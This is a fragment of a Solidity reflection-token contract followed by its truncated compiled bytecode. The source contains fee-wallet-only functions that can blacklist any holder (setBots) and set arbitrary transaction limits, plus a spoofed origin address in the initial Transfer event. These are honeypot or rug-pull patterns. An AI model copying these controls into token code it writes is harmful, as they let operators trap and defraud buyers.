_isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x3ae69FFfcD4b24dA824282669c8bC71A5e918347), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeEco = 1; _feeMarketing = 7; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeEco = 2; _feeMarketing = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.mul(3).div(10)); _feeAddrWallet2.transfer(amount.mul(7).div(10)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public { require(_msgSender() == _feeAddrWallet1); for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function removelimits() external { require(_msgSender() == _feeAddrWallet1); _maxTxAmount = 1000000000000000 * 10**9; } function setlimits(uint256 amount) external { require(_msgSender() == _feeAddrWallet1); _maxTxAmount = amount * 10**9; } function setpresale() external { require(_msgSender() == _feeAddrWallet1); tradingOpen = false; } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeEco, _feeMarketing); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c80636fc3eaec116100a0578063a9059cbb11610064578063a9059cbb14610394578063b515566a146103d1578063c3c8cd80146103fa578063c9567bf914610411578063dd62ed3e146104285761012a565b80636fc3eaec146102d357806370a08231146102ea578063715018a6146103275780638da5cb5b1461033e57806395d89b41146103695761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c5780635e4ae81b146102a55780636d6c8791146102bc5761012a565b806306fdde031461012f578063095ea7b31461015a578063132b5e201461019757806318160ddd146101c057806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610465565b60405161015191906125fd565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906126c7565b6104a2565b60405161018e9190612722565b60405180910390f35b3480156101a357600080fd5b506101be60048036038101906101b9919061273d565b6104c0565b005b3480156101cc57600080fd5b506101d561053a565b6040516101e29190612779565b60405180910390f35b3480156101f757600080fd5b50610212600480360381019061020d9190612794565b61054c565b60405161021f9190612722565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a91906127e7565b610625565b005b34801561025d57600080fd5b50610266610715565b6040516102739190612830565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612877565b61071e565b005b3480156102b157600080fd5b506102ba6107d0565b005b3480156102c857600080fd5b506102d1610844565b005b3480156102df57600080fd5b506102e86108c2565b005b3480156102f657600080fd5b50610311600480360381019061030c91906127e7565b610934565b60405161031e9190612779565b60405180910390f35b34801561033357600080fd5b5061033c610985565b005b34801561034a57600080fd5b50610353610ad8565b60405161036091906128b3565b60405180910390f35b34801561037557600080fd5b5061037e610b01565b60405161038b91906125fd565b60405180910390f35b3480156103a057600080fd5b506103bb60048036038101906103b691906126c7565b610b3e565b6040516103c89190612722565b60405180910390f35b3480156103dd57600080fd5b506103f860048036038101906103f39190612a16565b610b5c565b005b34801561040657600080fd5b5061040f610c52565b005b34801561041d57600080fd5b50610426610ccc565b005b34801561043457600080fd5b5061044f600480360381019061044a9190612a5f565b6111e0565b60405161045c9190612779565b60405180910390f35b60606040518060400160405280600c81526020017f4d617263684d61646e6573730000000000000000000000000000000000000000815250905090565b60006104b66104af611267565b848461126f565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610501611267565b73ffffffffffffffffffffffffffffffffffffffff161461052157600080fd5b633b9aca00816105319190612ace565b60108190555050565b600069d3c21bcecceda1000000905090565b600061055984848461143a565b61061a84610565611267565b610615856040518060600160405280602881526020016134c960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105cb611267565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3f9092919063ffffffff16565b61126f565b600190509392505050565b61062d611267565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b190612b74565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610726611267565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107aa90612b74565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610811611267565b73ffffffffffffffffffffffffffffffffffffffff161461083157600080fd5b69d3c21bcecceda1000000601081905550565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610885611267565b73ffffffffffffffffffffffffffffffffffffffff16146108a557600080fd5b6000600f60146101000a81548160ff021916908315150217905550565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610903611267565b73ffffffffffffffffffffffffffffffffffffffff161461092357600080fd5b600047905061093181611aa3565b50565b600061097e600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bc4565b9050919050565b61098d611267565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1190612b74565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f4d617263684d61646e6573730000000000000000000000000000000000000000815250905090565b6000610b52610b4b611267565b848461143a565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b9d611267565b73ffffffffffffffffffffffffffffffffffffffff1614610bbd57600080fd5b60005b8151811015610c4e57600160066000848481518110610be257610be1612b94565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c4690612bc3565b915050610bc0565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c93611267565b73ffffffffffffffffffffffffffffffffffffffff1614610cb357600080fd5b6000610cbe30610934565b9050610cc981611c32565b50565b610cd4611267565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612b74565b60405180910390fd5b600f60149054906101000a900460ff1615610db1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da890612c58565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e4230600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669d3c21bcecceda100000061126f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e8d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb19190612c8d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3c9190612c8d565b6040518363ffffffff1660e01b8152600401610f59929190612cba565b6020604051808303816000875af1158015610f78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9c9190612c8d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061102530610934565b600080611030610ad8565b426040518863ffffffff1660e01b815260040161105296959493929190612d28565b60606040518083038185885af1158015611070573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110959190612d9e565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff02191690831515021790555069021e19e0c9bab24000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611199929190612df1565b6020604051808303816000875af11580156111b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111dc9190612e2f565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d690612ece565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161142d9190612779565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a190612ff2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190613084565b60405180910390fd5b6000811161155d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155490613116565b60405180910390fd5b6001600a819055506007600b81905550611575610ad8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e357506115b3610ad8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a2f57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561168c5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61169557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117405750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117965750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117ae5750600f60179054906101000a900460ff165b1561185e576010548111156117c257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061180d57600080fd5b601e4261181a9190613136565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119095750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561195f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611975576002600a819055506008600b819055505b600061198030610934565b9050600f60159054906101000a900460ff161580156119ed5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a055750600f60169054906101000a900460ff165b15611a2d57611a1381611c32565b60004790506000811115611a2b57611a2a47611aa3565b5b505b505b611a3a838383611eab565b505050565b6000838311158290611a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7e91906125fd565b60405180910390fd5b5060008385611a96919061318c565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611b06600a611af8600386611ebb90919063ffffffff16565b611f3690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611b31573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611b95600a611b87600786611ebb90919063ffffffff16565b611f3690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bc0573d6000803e3d6000fd5b5050565b6000600854821115611c0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0290613232565b60405180910390fd5b6000611c15611f80565b9050611c2a8184611f3690919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c6a57611c696128d3565b5b604051908082528060200260200182016040528015611c985781602001602082028036833780820191505090505b5090503081600081518110611cb057611caf612b94565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d7b9190612c8d565b81600181518110611d8f57611d8e612b94565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611df630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461126f565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e5a959493929190613310565b600060405180830381600087803b158015611e7457600080fd5b505af1158015611e88573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611eb6838383611fab565b505050565b600080831415611ece5760009050611f30565b60008284611edc9190612ace565b9050828482611eeb9190613399565b14611f2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f229061343c565b60405180910390fd5b809150505b92915050565b6000611f7883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612176565b905092915050565b6000806000611f8d6121d9565b91509150611fa48183611f3690919063ffffffff16565b9250505090565b600080600080600080611fbd8761223e565b95509550955095509550955061201b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120fc8161234e565b612106848361240b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121639190612779565b60405180910390a3505050505050505050565b600080831182906121bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b491906125fd565b60405180910390fd5b50600083856121cc9190613399565b9050809150509392505050565b60008060006008549050600069d3c21bcecceda1000000905061221169d3c21bcecceda1000000600854611f3690919063ffffffff16565b8210156122315760085469d3c21bcecceda100000093509350505061223a565b81819350935050505b9091565b600080600080600080600080600061225b8a600a54600b54612445565b925092509250600061226b611f80565b9050600080600061227e8e8787876124db565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006122e883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a3f565b905092915050565b60008082846122ff9190613136565b905083811015612344576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233b906134a8565b60405180910390fd5b8091505092915050565b6000612358611f80565b9050600061236f8284611ebb90919063ffffffff16565b90506123c381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612420826008546122a690919063ffffffff16565b60088190555061243b816009546122f090919063ffffffff16565b6009819055505050565b6000806000806124716064612463888a611ebb90919063ffffffff16565b611f3690919063ffffffff16565b9050600061249b606461248d888b611ebb90919063ffffffff16565b611f3690919063ffffffff16565b905060006124c4826124b6858c6122a690919063ffffffff16565b6122a690919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806124f48589611ebb90919063ffffffff16565b9050600061250b8689611ebb90919063ffffffff16565b905060006125228789611ebb90919063ffffffff16565b9050600061254b8261253d85876122a690919063ffffffff16565b6122a690919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561259e578082015181840152602081019050612583565b838111156125ad576000848401525b50505050565b6000601f19601f8301169050919050565b60006125cf82612564565b6125d9818561256f565b93506125e9818560208601612580565b6125f2816125b3565b840191505092915050565b6000602082019050818103600083015261261781846125c4565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061265e82612633565b9050919050565b61266e81612653565b811461267957600080fd5b50565b60008135905061268b81612665565b92915050565b6000819050919050565b6126a481612691565b81146126af57600080fd5b50565b6000813590506126c18161269b565b92915050565b600080604083850312156126de576126dd612629565b5b60006126ec8582860161267c565b92505060206126fd858286016126b2565b9150509250929050565b60008115159050919050565b61271c81612707565b82525050565b60006020820190506127376000830184612713565b92915050565b60006020828403121561275357612752612629565b5b6000612761848285016126b2565b91505092915050565b61277381612691565b82525050565b600060208201905061278e600083018461276a565b92915050565b6000806000606084860312156127ad576127ac612629565b5b60006127bb8682870161267c565b93505060206127cc8682870161267c565b92505060406127dd868287016126b2565b9150509250925092565b6000602082840312156127fd576127fc612629565b5b600061280b8482850161267c565b91505092915050565b600060ff82169050919050565b61282a81612814565b82525050565b60006020820190506128456000830184612821565b92915050565b61285481612707565b811461285f57600080fd5b50565b6000813590506128718161284b565b92915050565b60006020828403121561288d5761288c612629565b5b600061289b84828501612862565b91505092915050565b6128ad81612653565b82525050565b60006020820190506128c860008301846128a4565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61290b826125b3565b810181811067ffffffffffffffff8211171561292a576129296128d3565b5b80604052505050565b600061293d61261f565b90506129498282612902565b919050565b600067ffffffffffffffff821115612969576129686128d3565b5b602082029050602081019050919050565b600080fd5b600061299261298d8461294e565b612933565b905080838252602082019050602084028301858111156129b5576129b461297a565b5b835b818110156129de57806129ca888261267c565b8452602084019350506020810190506129b7565b5050509392505050565b600082601f8301126129fd576129fc6128ce565b5b8135612a0d84826020860161297f565b91505092915050565b600060208284031215612a2c57612a2b612629565b5b600082013567ffffffffffffffff811115612a4a57612a4961262e565b5b612a56848285016129e8565b91505092915050565b60008060408385031215612a7657612a75612629565b5b6000612a848582860161267c565b9250506020612a958582860161267c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612ad982612691565b9150612ae483612691565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b1d57612b1c612a9f565b5b828202905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612b5e60208361256f565b9150612b6982612b28565b602082019050919050565b60006020820190508181036000830152612b8d81612b51565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612bce82612691565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612c0157612c00612a9f565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612c4260178361256f565b9150612c4d82612c0c565b602082019050919050565b60006020820190508181036000830152612c7181612c35565b9050919050565b600081519050612c8781612665565b92915050565b600060208284031215612ca357612ca2612629565b5b6000612cb184828501612c78565b91505092915050565b6000604082019050612ccf60008301856128a4565b612cdc60208301846128a4565b9392505050565b6000819050919050565b6000819050919050565b6000612d12612d0d612d0884612ce3565b612ced565b612691565b9050919050565b612d2281612cf7565b82525050565b600060c082019050612d3d60008301896128a4565b612d4a602083018861276a565b612d576040830187612d19565b612d646060830186612d19565b612d7160808301856128a4565b612d7e60a083018461276a565b979650505050505050565b600081519050612d988161269b565b92915050565b600080600060608486031215612db757612db6612629565b5b6000612dc586828701612d89565b9350506020612dd686828701612d89565b9250506040612de786828701612d89565b9150509250925092565b6000604082019050612e0660008301856128a4565b612e13602083018461276a565b9392505050565b600081519050612e298161284b565b92915050565b600060208284031215612e4557612e44612629565b5b6000612e5384828501612e1a565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612eb860248361256f565b9150612ec382612e5c565b604082019050919050565b60006020820190508181036000830152612ee781612eab565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f4a60228361256f565b9150612f5582612eee565b604082019050919050565b60006020820190508181036000830152612f7981612f3d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612fdc60258361256f565b9150612fe782612f80565b604082019050919050565b6000602082019050818103600083015261300b81612fcf565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061306e60238361256f565b915061307982613012565b604082019050919050565b6000602082019050818103600083015261309d81613061565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061310060298361256f565b915061310b826130a4565b604082019050919050565b6000602082019050818103600083015261312f816130f3565b9050919050565b600061314182612691565b915061314c83612691565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561318157613180612a9f565b5b828201905092915050565b600061319782612691565b91506131a283612691565b9250828210156131b5576131b4612a9f565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061321c602a8361256f565b9150613227826131c0565b604082019050919050565b6000602082019050818103600083015261324b8161320f565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61328781612653565b82525050565b6000613299838361327e565b60208301905092915050565b6000602082019050919050